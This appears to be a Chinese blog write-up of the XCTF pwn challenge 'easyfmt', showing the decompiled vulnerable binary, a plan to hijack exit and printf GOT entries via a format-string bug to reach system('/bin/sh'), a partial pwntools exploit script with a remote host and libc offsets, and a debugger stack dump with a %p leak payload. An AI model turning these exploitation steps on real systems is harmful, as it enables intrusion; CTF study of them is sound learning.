




# [XCTF-pwn] 25\_easyfmt

原创

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订阅专栏

格式化字符串漏洞, got.exit劫持, got.printf劫持

这题比上题要简单, 先修改got.exit为main进入循环并漏洞libc地址, 再将printf改为system,再输入/bin/sh

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
    char buf[264]; // [rsp+10h] [rbp-110h] BYREF
    unsigned __int64 v4; // [rsp+118h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    setvbuf(_bss_start, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    puts("welcome to haerbin~");
    if ( CheckIn() )
    {
        memset(buf, 0, 0x100uLL);
        write(1, "slogan: ", 9uLL);
        read(0, buf, 0x100uLL);
        printf(buf);
    }
    puts("bye~");
    exit(0);
}
```

本身没啥难度但有个小坑, checkin这个没好办法, 只能试, 总会有对的时候。

```

_BOOL8 CheckIn()
{
    unsigned int v0; // eax
    unsigned __int8 v2; // [rsp+0h] [rbp-30h]
    __int64 buf; // [rsp+10h] [rbp-20h] BYREF
    __int16 v4; // [rsp+18h] [rbp-18h]
    unsigned __int64 v5; // [rsp+28h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    v0 = time(0LL);
    srand(v0);
    v2 = rand() % 5 + 48;
    printf("enter:");
    buf = 0LL;
    v4 = 0;
    read(0, &buf, 0xAuLL);
    return (_BYTE)buf == v2;
}

```

完整exp:

```

from pwn import *

def connect(local=1):
    global p,libc_elf,libc_start_main_ret,one

    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
        one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
        libc_start_main_ret = 0x270b3
    else:
        p = remote('111.200.241.244', 51715)
        libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
        one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
        libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
...
0x00007ffd430a3270|+0x0000: 0x00007ffd430a3488 → 0x00007ffd430a541f → 0x4853006e77702f2e ("./pwn"? ) ←
0x00007ffd430a3278|+0x0008: 0x0000000100000000
0x00007ffd430a3280|+0x0010: "AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n" #8
...
0x00007ffd430a3380|+0x0110: 0x00007ffd430a3480 → 0x0000000000000001 #40
0x00007ffd430a3388|+0x0118: 0xbaf6d2e549b53b00 #41
0x00007ffd430a3390|+0x0120: 0x0000000000000000 ← $rbp
0x00007ffd430a3398|+0x0128: 0x00007f3e5a10f0b3 → <__libc_start_main+243> mov e #43
...

def pwn():
    p.recvline()
    p.sendlineafter(b"enter:", b'1')
    data = p.recv()
    print('R:', data)
    if b'bye' in data:
        raise('no')

```

